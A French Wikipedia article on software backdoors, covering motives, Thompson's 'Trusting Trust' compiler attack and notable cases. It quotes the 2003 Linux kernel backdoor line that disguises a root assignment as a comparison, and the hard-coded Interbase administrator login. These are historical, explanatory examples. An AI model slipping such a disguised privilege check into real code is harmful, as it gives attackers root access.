Porte dérobée
Un article de Wikipédia, l'encyclopédie libre.
Cet article fait partie de la série Programmes malveillants |
Virus |
Cabir - MyDoom.A Tchernobyl - Yamanner |
Ver |
Bagle - Blaster Code Red - I love you Melissa - Morris NetSky - Nimda SQL Slammer - Santy Sasser - Sobig |
Cheval de Troie |
Back Orifice - SubSeven ByteVerify - XXXDial |
Logiciel espion |
CoolWebSearch - Cydoor Gator - New.net SaveNow |
Composeur d’attaque |
ToneLoc |
Voir aussi |
Logiciel malveillant Sécurité informatique Programmation |
Dans un logiciel une porte dérobée (de l'anglais backdoor, littéralement porte de derrière) est une fonctionnalité inconnue de l'utilisateur légitime, qui donne un accès secret au logiciel. En sécurité informatique, la porte dérobée peut être considérée comme un type de cheval de Troie.
Sommaire |
[modifier] Technique
Une porte dérobée peut être introduite soit par le développeur du logiciel, soit par un tiers, typiquement un pirate informatique. La personne connaissant la porte dérobée peut l'utiliser pour surveiller les activités du logiciel, voire en prendre le contrôle (par exemple, par contournement de l'authentification). Enfin, selon l'étendue des droits que le système d'exploitation donne au logiciel contenant la porte dérobée, le contrôle peut s'étendre à l'ensemble des opérations de l'ordinateur.
La généralisation de la mise en réseau des ordinateurs rend les portes dérobées nettement plus utiles que du temps où un accès physique à l'ordinateur était la règle.
Parmi les motivations amenant les développeurs de logiciel à créer des portes dérobées, il y a :
- L'intérêt pratique d'un accès facile et toujours ouvert au logiciel pour pouvoir mener efficacement les actions de maintenance.
- La possibilité de désactiver subrepticement le logiciel en cas de désaccord avec son client (non-paiement de licence).
Parmi les motivations amenant les pirates informatiques à installer une porte dérobée :
- La possibilité de surveiller ce que fait l'utilisateur légitime et de copier ou détruire des données ayant une valeur (mots de passe, clé privée pour déchiffrer des messages privés, coordonnées bancaires, secrets commerciaux).
- La possibilité de prendre le contrôle d'un ordinateur et de pouvoir l'utiliser pour mener des actions malfaisantes (envoi de spam notamment pour le phishing, de virus informatiques, déni de service).
- Le contrôle d'un vaste réseau d'ordinateurs (voir botnet), qui peut être utilisé pour du chantage au déni de service distribué (DDoS), ou revendu à des criminels.
Pour installer des portes dérobées en masse, les pirates informatiques utilisent des virus. Ceux-ci se répendent automatiquement et installent un serveur informatique sur chaque ordinateur infecté. Ensuite le pirate peut se connecter à travers Internet au serveur.
Une porte dérobée peut aussi être insérée par voie d'Easter egg, de compilateur (voir la section plus bas Le cas du compilateur C Unix: Trusting Trust), ou peut prendre la forme d'un programme, comme Back Orifice.
[modifier] Le cas du compilateur C Unix : Trusting Trust
En 1984, l'informaticien américain Kenneth Thompson décrit, dans son article Reflections on Trusting Trust, comment il aurait été possible d'insérer une porte dérobée dans tous les programmes en C compilés sur Unix. De plus, vu que les versions mises à jour de ce compilateur, qui n'est rien d'autre qu'un autre programme compilé, sont compilées à partir du compilateur C préexistant, l'algorithme d'insertion de la porte dérobée se serait fait transmettre d'une mise à jour à une autre. Donc, si ce compilateur à porte dérobée avait été « lâché dans la nature » (en anglais : released in the wild) à l'origine, alors n'importe quel compilateur de C insérerait possiblement des portes dérobées de nos jours.
- Des caractéristiques de ce compilateur fictif, est notable le fait que la porte dérobée présente dans n'importe quel programme C compilé n'apparaîtrait jamais dans le code source en C.
- L'appellation trust (pour confiance) vient du fait que le compilateur C d'origine est considéré par son utilisateur final comme une boîte noire digne de confiance.
- Soit un programmeur qui ne comprend pas le fonctionnement d'un tel compilateur, mais lui fait confiance. Il lui serait difficile de déceler qu'un programme, qu'il a lui-même écrit puis compilé, contient une porte dérobée.
Source: Kenneth Thompson, Reflections on Trusting Trust, Communication of the ACM, Vol. 27, No. 8, August 1984, pp. 761-763. (en) [1]
[modifier] Affaires notables
[modifier] Interbase
Une porte dérobée a été découverte dans le SGBD Interbase le 10 janvier 2001 lors de l'ouverture du code source par son éditeur, Borland. Il suffisait d'entrer le nom d'utilisateur « politically » et le mot de passe « correct » pour se connecter en administrateur. La faille existait depuis 1994.
[modifier] Linux
En novembre 2003, une porte dérobée a été trouvée dans Linux. Fort heureusement, elle a été détectée très vite, avant qu'une version de Linux soit mise en production. La porte dérobée a été greffée très proprement : elle consiste en deux lignes en langage C, ajoutées à la fonction sys_wait4 du fichier « kernel/exit.c » :
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;
Le code est subtil car le test (current->uid = 0) est souvent lu comme le test (==) « si l'utilisateur du processus est root » mais est en fait l'assignation (=) « le processus appartient maintenant à root ». Le résultat est que si la fonction sys_wait4() est appelée avec les paramètres __WCLONE|__WALL, on passe root (maître de l'ordinateur).
Les développeurs de Linux ont été ravis de voir que l'infrastructure utilisée (principalement BitKeeper) a permis de trahir cette tentative très rapidement.
[modifier] Au cinéma
- Le scénario du film américain WarGames repose sur une porte dérobée. Le concepteur d'un système informatique militaire y insère une porte dérobée sous la forme d'un mot de passe non-documenté qui y donne accès. Ce mot de passe donne aussi accès à des fonctionnalités non-documentées du programme, qui donne au système de contrôle d'armement l'apparence d'un jeu vidéo de simulation de guerre.
[modifier] Références
[modifier] Voir aussi
[modifier] Liens externes
- (fr) Article dans transfert.net sur la porte débordée dans Interbase
- (en) Article dans kerneltrap.org sur la porte débordée dans Linux
Portail de l'informatique – Accédez aux articles de Wikipédia concernant l’informatique. |